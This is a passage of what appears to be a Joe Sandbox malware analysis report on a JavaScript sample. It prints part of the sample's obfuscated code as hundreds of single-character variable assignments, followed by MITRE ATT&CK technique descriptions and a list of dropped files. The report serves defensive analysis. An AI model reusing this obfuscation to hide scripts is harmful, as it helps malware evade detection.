1050	rzqtgsfvz = "G";
1051	rzqtgsfvz = "P";
1052	rzqtgsfvz = "w";
1053	rzqtgsfvz = "r";
1054	rzqtgsfvz = "D";
1055	rzqtgsfvz = "d";
1056	rzqtgsfvz = "p";
1057	rzqtgsfvz = "l";
1058	rzqtgsfvz = "v";
1059	rzqtgsfvz = "e";
1060	rzqtgsfvz = "J";
1061	rzqtgsfvz = "h";
1062	dferb = "m";
1063	dferb = "e";
1064	dferb = "q";
1065	qifnv = "B";
1066	qifnv = "V";
1067	qifnv = "q";
1068	qifnv = "J";
1069	qifnv = "U";
1070	qifnv = "m";
1071	qifnv = "O";
1072	qifnv = "u";
1073	qifnv = "p";
1074	qifnv = "y";
1075	qifnv = "p";
1076	qifnv = "O";
1077	qifnv = "E";
1078	qifnv = "Y";
1079	qifnv = "I";
1080	qifnv = "t";
1081	qifnv = "f";
1082	qifnv = "q";
1083	qifnv = "T";
1084	qifnv = "w";
1085	qifnv = "u";
1086	qifnv = "V";
1087	qifnv = "m";
1088	qifnv = "L";
1089	qifnv = "S";
1090	qifnv = "A";
1091	qifnv = "s";
1092	qifnv = "Y";
1093	qifnv = "T";
1094	qifnv = "F";
1095	qifnv = "P";
1096	qifnv = "l";
1097	qifnv = "c";
1098	qifnv = "k";
1099	qifnv = "L";
1100	qifnv = "w";
1101	qifnv = "Z";
1102	qifnv = "r";
1103	qifnv = "T";
1104	qifnv = "w";
1105	qifnv = "L";
1106	qifnv = "H";
1107	hlykbbx = "R";
1108	hlykbbx = "f";
1109	hlykbbx = "k";
1110	hlykbbx = "i";
1111	hlykbbx = "w";
1112	hlykbbx = "j";
1113	hlykbbx = "J";
1114	hlykbbx = "i";
1115	hlykbbx = "m";
1116	hlykbbx = "W";
1117	hlykbbx = "o";
1118	hlykbbx = "E";
1119	hlykbbx = "b";
1120	hlykbbx = "c";
1121	hlykbbx = "o";
1122	hlykbbx = "r";
1123	hlykbbx = "Q";
1124	hlykbbx = "F";
1125	hlykbbx = "n";
1126	hlykbbx = "g";
1127	hlykbbx = "v";
1128	hlykbbx = "J";
1129	hlykbbx = "I";
1130	hlykbbx = "M";
1131	hlykbbx = "K";
1132	hlykbbx = "U";
1133	qhfehol = "N";
1134	qhfehol = "G";
1135	qhfehol = "G";
1136	qhfehol = "x";
1137	qhfehol = "z";
1138	qhfehol = "O";
1139	qhfehol = "R";
1140	qhfehol = "Z";
1141	qhfehol = "x";
1142	qhfehol = ".";
1143	apanxz = "q";
1144	apanxz = "n";
1145	apanxz = "I";
1146	apanxz = "t";
1147	aycklhm = "i";
1148	aycklhm = "A";
1149	aycklhm = "P";
1150	aycklhm = "y";
1151	aycklhm = "d";
1152	aycklhm = "E";
1153	aycklhm = "l";
1154	aycklhm = "F";
1155	aycklhm = "i";
1156	aycklhm = "X";
1157	aycklhm = "D";
1158	aycklhm = "y";
1159	aycklhm = "R";
1160	aycklhm = "A";
1161	aycklhm = "K";
1162	aycklhm = "m";
1163	aycklhm = "n";
1164	aycklhm = "s";
1165	aycklhm = "X";
1166	aycklhm = "k";
1167	aycklhm = "s";
1168	aycklhm = "f";
1169	aycklhm = "B";
1170	aycklhm = "G";
1171	aycklhm = "D";
1172	aycklhm = "P";
1173	aycklhm = "B";
1174	aycklhm = "6";
1175	juotgj = "F";
1176	juotgj = "d";
1177	juotgj = "T";
1178	juotgj = "G";
1179	juotgj = "f";
1180	juotgj = "A";
1181	juotgj = "e";
1182	juotgj = "z";
1183	juotgj = "z";
1184	juotgj = "Q";
1185	juotgj = "v";
1186	juotgj = "E";
1187	juotgj = "J";
1188	juotgj = "q";
1189	juotgj = "K";
1190	juotgj = "W";
1191	juotgj = "Z";
1192	juotgj = "q";
1193	juotgj = "F";
1194	juotgj = "A";
1195	juotgj = "r";
1196	juotgj = "/";
1197	ehmmkyc = "U";
1198	ehmmkyc = "M";
1199	ehmmkyc = "v";
1200	ehmmkyc = "D";
1201	ehmmkyc = "M";
1202	ehmmkyc = "U";
1203	ehmmkyc = "c";
1204	ehmmkyc = "a";
1205	ehmmkyc = "p";
1206	ehmmkyc = "L";
1207	ehmmkyc = "e";
1208	ehmmkyc = "h";
1209	ehmmkyc = "l";
1210	ehmmkyc = "Q";
1211	ehmmkyc = "x";
1212	ehmmkyc = "p";
1213	ehmmkyc = "D";
1214	ehmmkyc = "i";
1215	ehmmkyc = "i";
1216	ehmmkyc = "v";
1217	ehmmkyc = "k";
1218	ehmmkyc = "t";
1219	ehmmkyc = "f";
1220	ehmmkyc = "w";
1221	ehmmkyc = "l";
1222	ehmmkyc = "J";
1223	ehmmkyc = "o";
1224	ehmmkyc = "f";
1225	ehmmkyc = "k";
1226	ehmmkyc = "m";
1227	ehmmkyc = "R";
1228	ehmmkyc = "c";
1229	ehmmkyc = "a";
1230	ehmmkyc = "a";
1231	ehmmkyc = "R";
1232	ehmmkyc = "C";
1233	ehmmkyc = "U";
1234	ehmmkyc = "u";
1235	ehmmkyc = "u";
1236	ehmmkyc = "L";
1237	ehmmkyc = "U";
1238	ehmmkyc = "T";
1239	ehmmkyc = "R";
1240	ohtefvb = "X";
1241	ohtefvb = "N";
1242	ohtefvb = "U";
1243	ohtefvb = "S";
1244	ohtefvb = "c";
1245	ohtefvb = "J";
1246	ohtefvb = "f";
1247	ohtefvb = "R";
1248	ohtefvb = "N";
1249	ohtefvb = "L";
1250	ohtefvb = "M";
1251	ohtefvb = "N";
1252	ohtefvb = "p";
1253	ohtefvb = "E";
1254	zkijnjns = "W";
1255	zkijnjns = "k";
1256	zkijnjns = "K";
1257	zkijnjns = "m";
1258	zkijnjns = "j";
1259	zkijnjns = "o";
1260	zkijnjns = "Q";
1261	zkijnjns = "k";
1262	zkijnjns = "j";
1263	zkijnjns = "x";
1264	zkijnjns = "Q";
1265	zkijnjns = "v";
1266	zkijnjns = "Y";
1267	zkijnjns = "w";
1268	zkijnjns = "I";
1269	zkijnjns = "V";
1270	zkijnjns = "x";
1271	zkijnjns = "A";
1272	zkijnjns = "S";
1273	zkijnjns = "J";
1274	zkijnjns = "e";
1275	zkijnjns = "M";
1276	zkijnjns = "i";
1277	zkijnjns = "p";
1278	zkijnjns = "G";
1279	zkijnjns = "l";
1280	zkijnjns = "G";
1281	zkijnjns = "Z";
1282	zkijnjns = "j";
1283	zkijnjns = "D";
1284	zkijnjns = "B";
1285	zkijnjns = "q";
1286	zkijnjns = "u";
1287	zkijnjns = "x";
1288	zkijnjns = "N";
1289	molbvmexg = "K";
1290	molbvmexg = "X";
1291	molbvmexg = "I";
1292	molbvmexg = "N";
1293	molbvmexg = "S";
1294	molbvmexg = "M";
1295	molbvmexg = "g";
1296	molbvmexg = "k";
1297	molbvmexg = "B";
1298	molbvmexg = "t";
1299	molbvmexg = "M";
1300	molbvmexg = "O";
1301	molbvmexg = "O";
1302	molbvmexg = "C";
1303	molbvmexg = "H";
1304	molbvmexg = "D";
1305	molbvmexg = "p";
1306	molbvmexg = "n";
1307	molbvmexg = "d";
1308	molbvmexg = "o";
1309	molbvmexg = "P";
1310	molbvmexg = "Q";
1311	molbvmexg = "o";
1312	molbvmexg = "P";
1313	molbvmexg = "D";
1314	molbvmexg = "s";
1315	molbvmexg = "h";
1316	molbvmexg = "b";
1317	molbvmexg = "A";
1318	molbvmexg = "d";
1319	molbvmexg = "t";
1320	molbvmexg = "O";
1321	molbvmexg = "N";
1322	molbvmexg = "C";
1323	molbvmexg = "r";
1324	molbvmexg = "F";
1325	molbvmexg = "w";
1326	molbvmexg = "m";
1327	molbvmexg = "L";
1328	molbvmexg = "i";
1329	molbvmexg = "k";
1330	erdcc = "z";
1331	erdcc = "K";
1332	erdcc = "w";
1333	erdcc = "o";
1334	erdcc = "n";
1335	erdcc = "f";
1336	erdcc = "q";
1337	erdcc = "V";
1338	erdcc = "V";
1339	erdcc = "S";
1340	erdcc = "f";
1341	erdcc = "H";
1342	erdcc = "m";
1343	erdcc = "M";
1344	erdcc = "M";
1345	erdcc = "l";
1346	erdcc = "U";
1347	erdcc = "I";
1348	erdcc = "p";
1349	erdcc = "G";
1350	erdcc = "i";
1351	erdcc = "B";
1352	erdcc = "N";
1353	erdcc = "y";
1354	erdcc = "D";
1355	erdcc = "d";
1356	erdcc = "u";
1357	erdcc = "J";
1358	erdcc = "W";
1359	erdcc = "a";
1360	erdcc = "t";
1361	erdcc = "f";
1362	erdcc = "V";
1363	erdcc = "a";
1364	erdcc = "T";
1365	erdcc = "n";
1366	erdcc = "&";
1367	clzqj ( );	clzqj() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 26448249042746730897.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9d0496ca-684d-4a16-9a68-0246bc4c720c.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF51f9d7.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c0daf499-6057-496a-888e-cc81eb18cecd.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
26448249042746730897.js